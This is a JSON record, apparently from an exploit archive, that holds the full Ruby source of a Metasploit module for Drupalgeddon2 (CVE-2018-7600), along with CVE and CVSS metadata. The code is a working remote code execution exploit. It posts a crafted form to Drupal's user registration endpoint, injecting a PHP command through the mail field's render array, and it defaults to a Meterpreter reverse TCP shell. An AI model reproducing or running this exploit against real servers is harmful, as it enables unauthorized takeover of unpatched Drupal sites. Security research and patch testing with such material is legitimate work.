{"exploit":{"id":"EDB-44482","name":"Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (RCE) (Metasploit)","description":"Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (RCE) (Metasploit)","cves":["CVE-2018-7600"],"author":"José Ignacio Rojo","published":"2018-04-17","platform":"php","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/44482","path":"exploits/php/remote/44482.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-44482.rb","vulnerabilities":[{"id":"CVE-2018-7600","state":"PUBLISHED","title":null,"titleSource":null,"description":"Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-7600","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2018-7600"},"updatedAt":"2025-10-21T23:45:52.444Z","retrievedAt":"2026-11-26T15:05:20.952Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-44482.png?v=2","url":"https://exploitbin.com/exploits/EDB-44482","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-44482/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-44482/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n    Rank = ExcellentRanking\n\n    include Msf::Exploit::Remote::HttpClient\n\n    def initialize(info={})\n      super(update_info(info,\n        'Name'           => 'Drupalgeddon2',\n        'Description'    => %q{\n          CVE-2018-7600 / SA-CORE-2018-002\n          Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1\n          allows remote attackers to execute arbitrary code because of an issue affecting\n          multiple subsystems with default or common module configurations.\n\n          The module can load msf PHP arch payloads, using the php/base64 encoder.\n\n          The resulting RCE on Drupal looks like this: php -r 'eval(base64_decode(#{PAYLOAD}));'\n        },\n        'License'        => MSF_LICENSE,\n        'Author'         =>\n          [\n            'Vitalii Rudnykh',      # initial PoC\n            'Hans Topo',            # further research and ruby port\n            'José Ignacio Rojo'     # further research and msf module\n          ],\n        'References'     =>\n          [\n            ['SA-CORE', '2018-002'],\n            ['CVE', '2018-7600'],\n          ],\n        'DefaultOptions'  =>\n        {\n          'encoder' => 'php/base64',\n          'payload' => 'php/meterpreter/reverse_tcp',\n        },\n        'Privileged'     => false,\n        'Platform'       => ['php'],\n        'Arch'           => [ARCH_PHP],\n        'Targets'        =>\n          [\n            ['User register form with exec', {}],\n          ],\n        'DisclosureDate' => 'Apr 15 2018',\n        'DefaultTarget'  => 0\n      ))\n\n      register_options(\n        [\n          OptString.new('TARGETURI', [ true, \"The target URI of the Drupal installation\", '/']),\n        ])\n\n      register_advanced_options(\n        [\n\n        ])\n    end\n\n    def uri_path\n      normalize_uri(target_uri.path)\n    end\n\n    def exploit_user_register\n      data = Rex::MIME::Message.new\n      data.add_part(\"php -r '#{payload.encoded}'\", nil, nil, 'form-data; name=\"mail[#markup]\"')\n      data.add_part('markup', nil, nil, 'form-data; name=\"mail[#type]\"')\n      data.add_part('user_register_form', nil, nil, 'form-data; name=\"form_id\"')\n      data.add_part('1', nil, nil, 'form-data; name=\"_drupal_ajax\"')\n      data.add_part('exec', nil, nil, 'form-data; name=\"mail[#post_render][]\"')\n      post_data = data.to_s\n\n      # /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax\n      send_request_cgi({\n        'method'   => 'POST',\n        'uri'      => \"#{uri_path}user/register\",\n        'ctype'    => \"multipart/form-data; boundary=#{data.bound}\",\n        'data'     => post_data,\n        'vars_get' => {\n          'element_parents' => 'account/mail/#value',\n          'ajax_form'       => '1',\n          '_wrapper_format' => 'drupal_ajax',\n        }\n      })\n    end\n\n    ##\n    # Main\n    ##\n\n    def exploit\n      case datastore['TARGET']\n      when 0\n        exploit_user_register\n      else\n        fail_with(Failure::BadConfig, \"Invalid target selected.\")\n      end\n    end\n  end","sha256":"aa359f96dac449c7368b8edc23e350e99d32250e5965780a177e17def2bbc3f4","bytes":3211,"fetchedAt":"2026-11-26T16:05:39.973Z","encoding":"utf-8 (display only; download retains original bytes)"}